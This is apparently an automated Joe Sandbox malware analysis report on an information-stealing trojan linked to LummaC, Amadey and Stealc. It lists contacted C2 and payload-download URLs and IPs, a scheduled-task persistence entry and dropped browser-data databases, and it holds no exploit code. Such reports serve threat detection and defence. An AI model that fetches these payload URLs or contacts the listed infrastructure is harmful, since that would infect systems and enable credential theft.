https://discokeyus.lat/I8Zj	aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.mozilla.com/en-US/blocklist/	R2CgZG545D.exe, 00000000.00000002.2668569169.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CAKEBFCF.0.dr	false	high
http://31.41.244.11/files/6929814593/py8tmzb.exeXYZ0123456789	skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/6929814593/py8tmzb.exepC	skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.php(	R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exerQ	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dlld	R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false	high
http://185.215.113.206/c4becf79229cb002.php0	R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	CAKEBFCF.0.dr	false	high
http://31.41.244.11/files/burpin1/random.exerC	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	false	high
http://31.41.244.11/files/burpin1/random.exeT	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phped8914f686b0ceeba38bfbd33d30xtension	R2CgZG545D.exe, 00000000.00000002.2640384429.000000000091C000.00000040.00000001.01000000.00000003.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe7d	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	CAKEBFCF.0.dr	false	high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
http://185.215.113.43/Zu7JuNko/index.phpEE:	skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
https://discokeyus.lat/	aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	false	high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
http://usbtor.ru/viewtopic.php?t=798)Z	random[1].exe.17.dr, f5de50ddb2.exe.17.dr	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
http://185.215.113.206/c4becf79229cb002.phpP	R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org	CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	false	high
https://discokeyus.lat:443/api	aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp, R2CgZG545D.exe, 00000000.00000002.2640384429.000000000091C000.00000040.00000001.01000000.00000003.sdmp, R2CgZG545D.exe, 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.43/Zu7JuNko/index.phpIE&	skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exew	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CAKEBFCF.0.dr	false	high
http://31.41.244.11/files/burpin1/random.exes	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dllx	R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/6929814593/py8tmzb.exe	skotes.exe, 00000011.00000002.3323974534.0000000000F2B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.164	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.197.170	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	true

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578882
Start date and time:	2024-12-20 16:05:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	R2CgZG545D.exe renamed because original name is a hash value
Original Sample Name:	e48ca69b3f439cf66679ffe60efd564f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@42/56@5/9
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.166.84, 172.217.17.46, 199.232.214.172, 142.250.200.206, 142.250.181.138, 172.217.17.42, 142.250.181.74, 172.217.19.202, 172.217.19.234, 142.250.181.10, 142.250.181.42, 172.217.17.74, 142.250.181.106, 172.217.17.67, 192.229.221.95, 13.107.246.63, 172.202.163.200, 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target R2CgZG545D.exe, PID 5044 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:06:47	API Interceptor	228x Sleep call for process: R2CgZG545D.exe modified
10:08:01	API Interceptor	189x Sleep call for process: skotes.exe modified
10:08:11	API Interceptor	4x Sleep call for process: aspnet_regiis.exe modified
16:07:15	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discokeyus.lat	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.197.170
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	iOnDpwrkWY.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.197.170
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.197.170
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAKEBFCF

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKEBFCFIJJKKECAKJEH

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGCFCBAKKFBFIECAEBAEBGCGDG

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIDAFCGIEHIEBFCFBA

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GCBKFBFC

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBFHCGCGDAAKFIECFHDBKFBFH

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKEHIIJJECFHJKECFHD

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

